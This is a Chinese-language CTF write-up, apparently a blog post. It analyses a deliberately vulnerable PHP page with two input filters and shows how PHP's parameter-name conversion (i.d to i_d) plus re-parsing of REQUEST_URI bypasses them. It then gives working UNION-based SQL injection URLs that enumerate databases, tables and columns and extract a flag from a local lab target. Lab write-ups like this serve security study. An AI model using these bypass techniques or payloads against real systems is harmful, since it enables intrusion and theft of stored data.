贷齐乐案例

源码分析:

php 复制代码
<?php
// 设置 HTTP 头部,指定内容类型为 text/html,字符集为 utf-8
header("Content-type: text/html; charset=utf-8");
// 引入数据库配置文件
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
function dhtmlspecialchars($string) {
    if (is_array($string)) {
        // 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素
        foreach ($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    } else {
        // 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列
        $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
        // 检查字符串中是否包含 HTML 实体编码,如果包含,将其还原为对应字符
        if (strpos($string, '&amp;#') !== false) {
            $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
        }
    }
    return $string;
}
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
// 定义函数 dowith_sql,用于检查 SQL 注入攻击
function dowith_sql($str) {
    // 使用正则表达式检查字符串是否包含 SQL 注入关键词
    $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
    if ($check) {
        // 如果检查到 SQL 注入关键词,输出警告信息并终止程序执行
        echo "非法字符!";
        exit();
    }
    return $str;
}
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
foreach ($_REQUEST as $key => $value) {
    $_REQUEST[$key] = dowith_sql($value);
}
// 解析请求 URI,获取查询参数,并对参数进行 HTML 特殊字符过滤和 SQL 注入检查
$request_uri = explode("?", $_SERVER['REQUEST_URI']);

if (isset($request_uri[1])) {
    $rewrite_url = explode("&", $request_uri[1]);
    foreach ($rewrite_url as $key => $value) {
        $_value = explode("=", $value);
        if (isset($_value[1])) {
            $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
        }
    }
}
// 如果提交按钮被点击,则执行以下代码
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
    // 获取用户输入的用户 ID
    $user_id = $_REQUEST['i_d'];
    // 构造 SQL 查询语句,查询用户表中 ID 匹配用户输入的用户 ID 的记录
    $sql = "select * from ctf.users where id=$user_id";
    // 执行 SQL 查询
    $result = mysql_query($sql);
    // 遍历查询结果,输出用户信息
    while($row = mysql_fetch_array($result)) {
        echo "<tr>";
        echo "<td>" . $row['name'] . "</td>";
        echo "</tr>";
    }
}
?>

第一道WAF(对字符进行了过滤):

通过第二道WAF(对字符进行转换,以及addslashes函数):

这里php版本记得改,我因为这里忘记改了折腾好久

数据库操作:

如果想找到可以使用的SQL注入漏洞,首要任务就是绕过两道WAF。

第二道WAF中explode函数例子(说白了就是分割):

我们在这段代码之间加一个打印函数,每次改源代码都记得要保存再刷新页面

结果如下

看到这个value1就是我们传入的值,然后将我们的值传入到dhtmlspecialchars函数中进行检测替换。最后我们可以看到将$_SERVER['REQUEST_URI']中的字符覆盖到$_REQUEST[$_value[0]]中。

按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。

那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。

我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是2,但后面覆盖request的时候,拿到的是1,那么不就可以造成WAF的绕过了么?(简单理解就是通过第一个WAF时让第二个能正常通过的参数代替第一个参数检测,然后第二道WAF没有了过滤功能就可以用第一个参数带入数据库了)

在想这个问题之前我先引用一个知识点

php另一个特性,自身在解析请求的时候,如果参数名字中包含" "、"."、"["这几个字符,会将他们转换成下划线,这里我们做个测试。

验证成功

那么假设我发送的是这样一个请求: /index.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即为/index.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']就是22222。

可在_SERVER\['REQUEST_URI'\]中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的_REQUEST['user_id']却是11111。(简单来说就是第二个参数在请求之后转换成了user_id,而php在两个参数名相同的时候会取第二个正常参数通过第一个WAF,可在$SERVER['REQUEST_URI']中并不会将.转换为,所以取的是第一个参数)

  • 1、第一道WAF拿到传入的111,当然,我们将另一个参数设置为bad',加了单引号,如果不成功肯定是报错的。
  • 2、我们要让第二道WAF拿到bad',因为单引号过滤在第一道WAF处,所以不会报错。

上面便是我们想要的结果,下面我们更改源码来进行测试查看两个WAF分别传入的值:

我们尝试在**$_SERVER['REQUEST_URI']赋值后** 打印**$_REQUEST[$_value[0]]**

我们在第一道WAF打印看看反馈

可以发现并没有报错并且取到的是第二个参数的值

在第二道WAF打印看看反馈

我们可以看到我们的假设是成立的,所以我们可以利用我们发现的开始注入。

这里由于我们不能使用括号(第二道WAF会进行替换),所以优先使用联合查询进行注入:(这里我们使用注释代替空格)

测试回显字段

php 复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1

之后我们在第二个字段进行注入得到数据库名字

php 复制代码
http://127.0.0.1/daiqile/index.php/i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

这些库名全部混在一起了,我们可以利用python爬虫一个个爬出来,我这里就不写了

一般在比赛中是一个数据库即为ctf,我们就用ctf进行查询

爆出表名

这里由于源码中WAF使用了等号截断,所以我们这里使用like代替了等号,同时传入数据库中的内容使用十六进制进行了替换:

php 复制代码
http://127.0.0.1/daiqile/index.php/i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

爆出表下的列名,我们可以直接进行查询,但是无法使用group_concat连接函数进行分割(因为这个函数会使用到括号会被替换)

php 复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1

我们可以看出有一个flag字段

最后一步,得到flag!

php 复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1
相关推荐
NineData5 小时前
NineData智能数据管理平台新功能发布|2026年1-2月
数据库·sql·数据分析
IvorySQL6 小时前
双星闪耀温哥华:IvorySQL 社区两项议题入选 PGConf.dev 2026
数据库·postgresql·开源
ma_king9 小时前
入门 java 和 数据库
java·数据库·后端
jiayou6412 小时前
KingbaseES 实战:审计追踪配置与运维实践
数据库
Johny_Zhao1 天前
OpenClaw安装部署教程
linux·人工智能·ai·云计算·系统运维·openclaw
NineData1 天前
NineData 迁移评估功能正式上线
数据库·dba
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
NineData1 天前
数据库迁移总踩坑?用 NineData 迁移评估,提前识别所有兼容性风险
数据库·程序员·云计算
赵渝强老师1 天前
【赵渝强老师】PostgreSQL中表的碎片
数据库·postgresql
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent